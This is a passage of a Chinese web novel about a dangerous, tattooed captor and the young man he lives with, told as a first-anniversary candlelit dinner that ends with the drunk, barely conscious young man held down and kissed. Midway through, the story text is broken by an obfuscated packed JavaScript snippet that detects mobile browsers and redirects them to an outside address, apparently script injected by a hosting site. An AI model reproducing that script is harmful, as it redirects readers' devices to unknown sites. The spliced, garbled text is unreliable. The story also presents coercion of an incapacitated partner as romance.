毕竟这段时间,锈铁钉确实按照他的要求去做了“正常”的工作,也乖乖听话没再去碰那些危险的事情。 郗涟原以为自己会被锁起来、关在暗无天日的屋里。可这些预想中的事情,一件都没有发生。 锈铁钉甚至主动带他去买衣服,挑选可爱的玩偶和甜品,这一切都显得如此违和。 有一次郗涟实在忍不住好奇,主动问了对方。 只不过没想到锈铁钉居然还是一位黑客高手,他根本不用担心那些“常规”的追踪问题。 郗涟:……见鬼! 让他更感到不可思议的是自己竟然真的和对方在一起了。 不过转念一想,自己也没有其他可以选择的余地……另外还有的就是,锈铁钉真的很听他的话,与其说是听话,不如说是信守承诺。 只要他立下要求,对方真的没有违约过。 虽然这种承诺是带有危险目的的顺从,但却意外地从另一个方面给郗涟带来了一种扭曲的安全感。 好吧。 他在心底悄悄坦白,自己确实蛮吃这套。 厨房内的锈铁钉完全不知道他的小甜甜正坐在餐桌外胡思乱想着什么,他现在的心情非常美好,因为今天是他们在一起的第一个月! 锈铁钉哼着歌,在厨房内麻利地准备着今晚两个人的烛光晚餐。 他将锅中的最后一块牛排装在新买的粉红餐盘中,特地擦拭盘沿,随后又用一个勺子沾了沾番茄酱在上面勾勒出一颗爱心。 做完一切后,锈铁钉将餐盘端出厨房。 烛光在餐桌上温柔摇曳,映照着擦拭得锃亮的餐具、冒着诱人热气的食物,还有安静坐在对面的、他心心念念的小甜甜。 这就是烛光晚餐吧? 锈铁钉这么想着,在一种混杂着满足与罕见忐忑的心情中,坐到了餐桌对面。 他看着郗涟,期待着对方的小反应。 郗涟有些吃惊地看着餐盘中那颗格外清晰的爱心,脸上微微一热,开始不自在地垂下了目光,心底却跳得愈发厉害。 锈铁钉表达心意的方式总是这样,和他的人一样,直白,莽撞,甚至还有点粗野,总是令人措手不及…… 真让人招架不住! 郗涟抬起眼,刚准备说点什么,就看到对面的锈铁钉正一眨不眨地盯着自己。摇曳的烛光下,对方手臂上那些盘绕的暗色纹身线条清晰可见,高大健硕的身形散发着一股未加掩饰的野性与危险气息。 就是这样一个本该令人胆寒退避的“恶魔”…… 偏偏对他这么听话。 见锈铁钉还在一眨不眨地盯着自己,郗涟有些不自在地垂下目光,抿了抿唇,拿起刀叉,主动切下一小块牛排,送进口中,仔细品尝着味道。 锈铁钉不知道自己做的东西合不合口味,在宰杀“猪猡”、戏耍“老鼠”方面他游刃有余,但准备一顿正经的晚餐,等着小甜甜评价,让他罕见地开始紧张了起来。 锈铁钉还记得要给小甜甜的话,在送货的过程中他也知道了不少和伴侣相关的东西,要给自己的伴侣仪式感。 虽然他不太能理解这些词的确切意义,但这不妨碍他认真地去执行。 然后,他就见到他的小甜甜切下一块牛排,小心地尝了一口,随后抬起眼,那双清亮的眼眸勾着自己,声音软软地:“做得很好吃。” “嗯,”锈铁钉低低应了一声,他也觉得小甜甜很好吃。 品尝到一半,他看了眼餐桌总觉得似乎还少了点什么。 突然想起什么,起身从柜子里翻出一瓶红酒。锈铁钉不知道小甜甜能不能喝,但印象里烛光晚餐好像不能少了这个。 他利落地倒了两杯,自己先尝了一口,觉得度数不高,才放心地将另一杯轻轻推到郗涟面前。 “宝贝,请。” 郗涟看着手中酒杯里暗红的液体,在烛光下泛着幽深的光泽。 他没怎么喝过酒,或许是因为这过于奇怪又过于用心的氛围,郗涟忽然生出一点想要放纵一下的勇气。 他接过锈铁钉递来的酒杯,小心地抿了几口。 液体滑入喉咙的瞬间,一股强烈的灼热感猛地窜了上来,直冲头顶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085626|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“咳……”郗涟放下杯子,蹙了蹙眉,脸上不受控制地迅速漫开一片绯红,从脸颊一直蔓延到耳根和脖颈,像被晚霞浸染的云。 这酒劲,怎么这么大啊! 郗涟明显不适的反应,让坐在对面的锈铁钉瞬间绷紧了身体,他没想到小甜甜酒量会这么差,心里正掠过一丝慌乱和懊悔。 但很快,他就发现郗涟的状态开始变得不一样了。 郗涟白皙的脸颊上迅速染开一片诱人的绯红,一直蔓延到纤白的颈侧,连小巧的耳垂都透出淡淡的粉色。 那双乌黑的眼眸仿佛浸在了温润的水里,浮起一层朦胧恍惚的薄雾,眼神变得迷离而柔软。 整个人在昏暗的光线下显得非常的诱人。 ‘啊哈,这是醉了?’锈铁钉挑了挑眉,餐桌上的烛火的光在他深邃的眼眸中明明灭灭。 确定郗涟没什么事后,锈铁钉压低声音笑道:“宝贝,怎么这就不行了?” 郗涟也不知道自己怎么了,不知是酒的缘故还是因为对方的语气,他只觉得脸上烧得厉害, 听着锈铁钉的话,他下意识地想反驳一句“谁不行了”,但舌头根本不听使唤,根本说不出口,结果还是打转了一圈小声嘟囔了一句:“我哪知道。” 锈铁钉看着他这副模样,喉结无声地滚动了一下。 烛光,晚餐,还有眼前的甜心…… 烛光晚餐原来是这样的吗? 那真的很甜蜜了。 郗涟坐在椅子上,身体有些发软地靠着椅背,脸颊绯红,眼睛水蒙蒙地,视线直勾勾地盯住对面的男人。 见锈铁钉不说话,他抬起一根手指,有些摇晃地指向对方,理直气壮地喊道:“你!你这个变态!” 话一出口,连郗涟自己都愣了一下,好像被自己的话给惊到了。 随即又觉得无比正确,用力点了点头,重复道:“对!变态!” 锈铁钉非但没因为郗涟的指控而生气,反倒被彻底点燃了兴致。 “我这个变态?”他重复着郗涟的话,尾音微微上扬。 锈铁钉愉悦地低笑着,不紧不慢地向后靠进椅背,双臂展开搭在扶手上,姿态放松,甚至显得有些惬意。 “呵呵,是呢。”锈铁钉盯着郗涟大大方方地承认了。 为了他的小甜心,他开始早出晚归,跑那些枯燥乏味的长途货运,只为了赚钱养家。 这些事本身无趣至极,但每次回来看到这栋房子里有小甜甜,他的心情就美妙得不得了。 而现在,锈铁钉看着小甜甜在酒精作用下指着自己骂“变态”,不仅没让他不快,反而让他觉得可爱。 就好像一只平时只会躲躲闪闪的小奶猫,终于敢伸出软软的爪子,不痛不痒地挠他一下。 锈铁钉霍然起身,几步走到郗涟身边,弯下腰轻而易举地将人从椅子上整个抱在怀里。 他盯着郗涟迷离的双眼,低笑着说道:“宝贝喝醉了。胆子也大了。” 郗涟的意识越来越模糊,他下意识想要挣扎,但所有动作都被锈铁钉牢牢地控制住。 锈铁钉抱着他,将人放在自己腿上,圈进怀里。 下一秒,他低头,吻了上去。